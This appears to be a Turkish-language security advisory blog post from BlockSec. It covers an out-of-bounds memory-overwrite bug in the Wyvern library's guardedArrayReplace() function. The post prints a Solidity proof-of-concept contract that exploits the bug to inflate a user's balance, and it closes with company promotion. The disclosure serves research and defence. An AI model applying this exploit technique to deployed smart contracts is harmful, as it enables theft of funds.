Giriş
Güvenlik açığı tespit sistemimiz, daha önce OpenSea tarafından kullanılan Wyvern merkezi olmayan borsa protokolüne ait Wyvern kütüphanesinin en son uygulamasında bir bellek üzerine yazma güvenlik açığı keşfetti. Bu hata rastgele depolama yazımına yol açabilir.
Projeyle iletişime geçmeye çalıştık (örneğin e-posta ve sosyal medya aracılığıyla), ancak henüz yanıt alamadık. OpenSea'nın Seaport protokolüne geçmiş olması nedeniyle, ayrıntılı bilgileri kamuoyuyla paylaşmanın güvenli olduğuna inanıyoruz. Ayrıca, hatanın kendisi biraz karmaşık olmakla birlikte istismarı oldukça ilginç olduğundan, topluluğu bu sürece dahil etmek amacıyla bu bulgularımızı paylaşmak istiyoruz.
Açıklama
Güvenlik açığı bulunan kod, 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 commit hash'iyle resmi kod deposunda bulunabilir.
Özellikle bu hata, ArrayUtils.sol dosyasındaki guardedArrayReplace() fonksiyonunda yer almaktadır. Adından da anlaşılacağı üzere bu fonksiyon, dinamik boyutlu bir bayt dizisini (yani desired adlı ikinci parametre) seçici olarak başka bir diziye (yani array adlı birinci parametre) kopyalamak için kullanılır. Bu fonksiyonun sözcük düzeyinde (yani 0x20 bayt) işlem gerçekleştirecek şekilde uygulandığına dikkat edin; dolayısıyla kod mantığı, bölme işleminin sonucuna göre iki adıma ayrılabilir.
Bölüm kısmı için (yani words = array.length / 0x20), 42 ile 49. satırlar arasındaki kod mantığı, istenen diziyi hedef diziye sözcük sözcük kopyalayacaktır. 39. satırdaki assert ifadesi, tamsayı aritmetiği nedeniyle işe yaramaz olsa da bu adım beklendiği gibi çalışmaktadır.

Önceki adımın ardından, bölme işlemi bir kalan üretirse, doğru şekilde kopyalanmamış bazı baytların hâlâ mevcut olduğu anlamına gelir. 52 ile 66. satırlar arasındaki kod mantığı bu baytları işlemek için tasarlanmıştır. Ne yazık ki, 52. satırdaki if ifadesi, kontrolü gerçekleştirmek için yanlışlıkla kalan (array.length % 0x20) yerine bölümü (words, yani array.length / 0x20) kullanmaktadır.
Ciddiyeti
Bu hata rastgele depolama yazımına yol açabilir. array.length değerinin tam olarak 0x20'ye bölünebildiğini varsayalım; kopyalama işlemi aslında döngü mantığında tamamlanmaktadır. Ancak çoğu durumda fonksiyon güvenlik açığı bulunan mantığa girecek ve istenen dizinin sonrasındaki bir sözcüğü hedef diziye kopyalamaya çalışacaktır; bu da kaçınılmaz olarak sınır dışı erişime neden olur. Daha da kötüsü, hatalı mantık, hedef dizinin sonuna herhangi bir amaçla kullanılabilecek bilinmeyen bir bellek alanı olan bir sözcüğün üzerine yazmak için istismar edilebilir.
Bu hata nasıl istismar edilir?
Potansiyel saldırı vektörünü göstermek için bir PoC sözleşmesi geliştirdik. PoC sözleşmesinin iki fonksiyonu bulunmaktadır: test() adlı birinci fonksiyon saldırıyı gerçekleştirmek için kullanılırken, ikincisi yalnızca güvenlik açığı bulunan guardedArrayReplace() fonksiyonudur.
Özellikle test() fonksiyonunda, önce bazı bellek içi baytları (a, b ve mask) ve bir dizi (yani _rewards) tanımlıyoruz. Burada tanımlanan _rewards kullanıcının ödüllerini hesaplamak için kullanılacaktır. guardedArrayReplace() fonksiyonunu çağırarak a'yı mask ile b'ye kopyaladıktan sonra, _rewards kullanıcının bakiyesine (yani balances[msg.sender]) eklenecektir.
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
Sonucu göstermek için Remix'i kullanıyoruz. Başlangıçta _rewards ve balances'a herhangi bir değer atamadığımızı belirtmek gerekir. İstismarın ardından, kullanıcı bakiyesi son derece büyük bir değere ayarlanmaktadır (kırmızı dikdörtgende gösterildiği gibi).

Sonuç
Nadir olmakla birlikte, bu tür bellek üzerine yazma güvenlik açıkları akıllı sözleşmelerde hâlâ mevcut olabilir. Geliştiricilerin belleği manipüle eden kod mantığına dikkat etmesi gerekmektedir.
BlockSec Hakkında
BlockSec, 2021 yılında küresel alanda tanınan güvenlik uzmanlarından oluşan bir grup tarafından kurulan öncü bir blok zinciri güvenlik şirketidir. Şirket, kitlesel benimsenmesini kolaylaştırmak amacıyla gelişmekte olan Web3 dünyasının güvenliğini ve kullanılabilirliğini artırmaya kendini adamıştır. Bu doğrultuda BlockSec; akıllı sözleşme ve EVM zinciri güvenlik denetim hizmetleri, güvenlik geliştirme ve tehditleri proaktif olarak engelleme için Phalcon platformu, fon takibi ve soruşturma için MetaSleuth platformu ve kripto dünyasında verimli bir şekilde gezinen web3 geliştiricileri için MetaDock eklentisi sunmaktadır.
Bugüne kadar şirket, MetaMask, Uniswap Foundation, Compound, Forta ve PancakeSwap gibi 300'den fazla saygın müşteriye hizmet vermiş ve Matrix Partners, Vitalbridge Capital ve Fenbushi Capital dahil olmak üzere önde gelen yatırımcılardan iki tur finansman sürecinde onlarca milyon ABD doları almıştır.
Resmi web sitesi: https://blocksec.com/
Resmi Twitter hesabı: https://twitter.com/BlockSecTeam



